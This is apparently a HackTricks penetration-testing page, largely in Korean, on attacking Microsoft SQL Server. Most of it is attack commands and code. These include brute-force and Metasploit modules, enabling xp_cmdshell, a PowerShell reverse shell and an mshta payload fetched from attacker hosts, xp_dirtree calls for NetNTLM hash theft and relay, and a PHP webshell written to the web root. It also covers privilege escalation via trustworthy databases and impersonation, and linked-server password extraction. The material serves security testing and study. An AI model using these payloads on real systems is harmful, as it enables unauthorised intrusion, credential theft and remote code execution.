1433 - Pentesting MSSQL - Microsoft SQL Server

Support HackTricks

기본 정보

From wikipedia:

Microsoft SQL Server는 Microsoft에서 개발한 관계형 데이터베이스 관리 시스템입니다. 데이터베이스 서버로서, 다른 소프트웨어 애플리케이션이 요청한 대로 데이터를 저장하고 검색하는 주요 기능을 가진 소프트웨어 제품입니다. 이 애플리케이션은 동일한 컴퓨터에서 실행되거나 네트워크(인터넷 포함)를 통해 다른 컴퓨터에서 실행될 수 있습니다.\

기본 포트: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

기본 MS-SQL 시스템 테이블

  • master 데이터베이스: 이 데이터베이스는 SQL Server 인스턴스의 모든 시스템 수준 세부정보를 캡처하므로 매우 중요합니다.

  • msdb 데이터베이스: SQL Server Agent는 이 데이터베이스를 사용하여 알림 및 작업의 일정을 관리합니다.

  • model 데이터베이스: SQL Server 인스턴스의 모든 새 데이터베이스에 대한 청사진 역할을 하며, 크기, 정렬, 복구 모델 등과 같은 변경 사항이 새로 생성된 데이터베이스에 반영됩니다.

  • Resource 데이터베이스: SQL Server와 함께 제공되는 시스템 객체를 포함하는 읽기 전용 데이터베이스입니다. 이러한 객체는 Resource 데이터베이스에 물리적으로 저장되지만, 모든 데이터베이스의 sys 스키마에서 논리적으로 표시됩니다.

  • tempdb 데이터베이스: 일시적인 객체나 중간 결과 집합을 위한 임시 저장 영역으로 사용됩니다.

열거

자동 열거

서비스에 대해 아무것도 모르는 경우:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

자격 증명이 없다면 추측해 볼 수 있습니다. nmap 또는 metasploit을 사용할 수 있습니다. 조심하세요, 기존 사용자 이름을 사용하여 여러 번 로그인에 실패하면 계정이 차단될 수 있습니다.

Metasploit (자격 증명 필요)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

수동 열거

로그인

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

일반 열거

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

사용자 가져오기

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

권한 가져오기

  1. Securable: SQL Server가 접근 제어를 위해 관리하는 리소스로 정의됩니다. 이는 다음과 같이 분류됩니다:

  • 서버 – 데이터베이스, 로그인, 엔드포인트, 가용성 그룹 및 서버 역할의 예가 포함됩니다.

  • 데이터베이스 – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자와 같은 예가 포함됩니다.

  • 스키마 – 테이블, 뷰, 프로시저, 함수, 동의어 등을 포함합니다.

  1. Permission: SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 이루어집니다:

  • 서버 수준 – 로그인을 사용하여

  • 데이터베이스 수준 – 사용자를 사용하여

  1. Principal: 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나 접근 권한이 있는 역할에 로그인 및 사용자를 포함시킴으로써 행사됩니다.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

OS 명령 실행

명령을 실행할 수 있으려면 xp_cmdshell 활성화뿐만 아니라 xp_cmdshell 저장 프로시저에 대한 EXECUTE 권한도 필요합니다. **xp_cmdshell**을 사용할 수 있는 사람(시스템 관리자 제외)을 확인하려면:

Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

NetNTLM 해시 훔치기 / 릴레이 공격

인증에 사용되는 해시를 캡처하기 위해 SMB 서버를 시작해야 합니다 (impacket-smbserver 또는 responder 예시).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

누가 (sysadmins 제외) 이러한 MSSQL 함수를 실행할 권한이 있는지 확인하려면 다음을 사용하세요:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

responder 또는 Inveigh와 같은 도구를 사용하여 NetNTLM 해시를 훔치는 것이 가능합니다. 이 도구를 사용하는 방법은 다음에서 확인할 수 있습니다:

MSSQL 신뢰할 수 있는 링크 악용

이 게시물을 읽어보세요 이 기능을 악용하는 방법에 대한 더 많은 정보를 찾으세요:

파일 쓰기

MSSQL을 사용하여 파일을 쓰려면 Ole Automation Procedures활성화해야 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

OPENROWSET로 파일 읽기

기본적으로 MSSQL계정이 읽기 접근 권한이 있는 운영 체제의 모든 파일에 대한 파일 읽기를 허용합니다. 다음 SQL 쿼리를 사용할 수 있습니다:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

그러나 BULK 옵션은 ADMINISTER BULK OPERATIONS 또는 ADMINISTER DATABASE BULK OPERATIONS 권한이 필요합니다.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

SQLi를 위한 오류 기반 벡터:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/파일 읽기 스크립트 실행 (Python 및 R)

MSSQL은 Python 및/또는 R에서 스크립트 실행을 허용할 수 있습니다. 이 코드는 xp_cmdshell을 사용하여 명령을 실행하는 다른 사용자에 의해 실행됩니다.

Example trying to execute a 'R' "Hellow World!" not working:

Example using configured python to perform several actions:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Read Registry

Microsoft SQL Server는 여러 확장 저장 프로시저를 제공하여 네트워크뿐만 아니라 파일 시스템 및 Windows 레지스트리와도 상호작용할 수 있습니다:**

RCE with MSSQL User Defined Function - SQLHttp

MSSQL에서 사용자 정의 함수로 .NET dll을 로드하는 것이 가능합니다. 그러나, 이는 dbo 접근이 필요하므로 sa 또는 관리자 역할로 데이터베이스에 연결해야 합니다.

Following this link to see an example.

Other ways for RCE

명령 실행을 얻기 위한 다른 방법으로는 확장 저장 프로시저 추가하기, CLR 어셈블리, SQL Server 에이전트 작업, 및 외부 스크립트 추가가 있습니다.

MSSQL Privilege Escalation

From db_owner to sysadmin

일반 사용자관리자 사용자(예: sa)가 소유한 데이터베이스에 대해 db_owner 역할을 부여받고 해당 데이터베이스가 **trustworthy**로 설정된 경우, 해당 사용자는 저장 프로시저가 소유자(관리자)로 실행될 수 있기 때문에 이러한 권한을 남용하여 privesc를 할 수 있습니다.

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

당신은 metasploit 모듈을 사용할 수 있습니다:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

또는 PS 스크립트:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

다른 사용자의 가장

SQL Server에는 **IMPERSONATE**라는 특별한 권한이 있으며, 이는 실행 중인 사용자가 다른 사용자 또는 로그인 의 권한을 취할 수 있도록 허용합니다. 이 권한은 컨텍스트가 재설정되거나 세션이 종료될 때까지 유효합니다.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

사용자를 가장할 수 있다면, 그가 sysadmin이 아니더라도, 사용자가 다른 데이터베이스나 연결된 서버에 접근할 수 있는지 확인해야 합니다.

sysadmin이 되면 다른 모든 사용자를 가장할 수 있다는 점에 유의하세요:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

이 공격은 metasploit 모듈을 사용하여 수행할 수 있습니다:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

또는 PS 스크립트로:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

MSSQL을 이용한 지속성 확보

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

SQL Server Linked Servers에서 비밀번호 추출하기

공격자는 SQL 인스턴스에서 SQL Server Linked Servers 비밀번호를 추출하여 평문으로 얻을 수 있으며, 이를 통해 공격자는 대상에 대한 더 큰 발판을 확보할 수 있습니다. Linked Servers에 저장된 비밀번호를 추출하고 복호화하는 스크립트는 여기에서 찾을 수 있습니다.

이 익스플로잇이 작동하기 위해서는 몇 가지 요구 사항과 구성이 필요합니다. 우선, 해당 머신에서 관리자 권한이 있거나 SQL Server 구성을 관리할 수 있는 능력이 있어야 합니다.

권한을 확인한 후, 다음 세 가지를 구성해야 합니다:

  1. SQL Server 인스턴스에서 TCP/IP 활성화;

  2. 시작 매개변수 추가, 이 경우 -T7806이라는 추적 플래그가 추가됩니다.

  3. 원격 관리자 연결 활성화.

이 구성을 자동화하기 위해 이 저장소에는 필요한 스크립트가 있습니다. 각 구성 단계에 대한 PowerShell 스크립트 외에도, 이 저장소에는 구성 스크립트와 비밀번호 추출 및 복호화를 결합한 전체 스크립트도 포함되어 있습니다.

이 공격에 대한 추가 정보는 다음 링크를 참조하십시오: MSSQL 데이터베이스 링크 서버 비밀번호 복호화

SQL Server 전용 관리자 연결 문제 해결

로컬 권한 상승

MSSQL 서버를 실행하는 사용자는 SeImpersonatePrivilege 권한 토큰이 활성화되어 있습니다. 다음 두 페이지 중 하나를 따라 관리자로 상승할 수 있을 것입니다:

Shodan

  • port:1433 !HTTP

참고 문헌

HackTricks 자동 명령

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure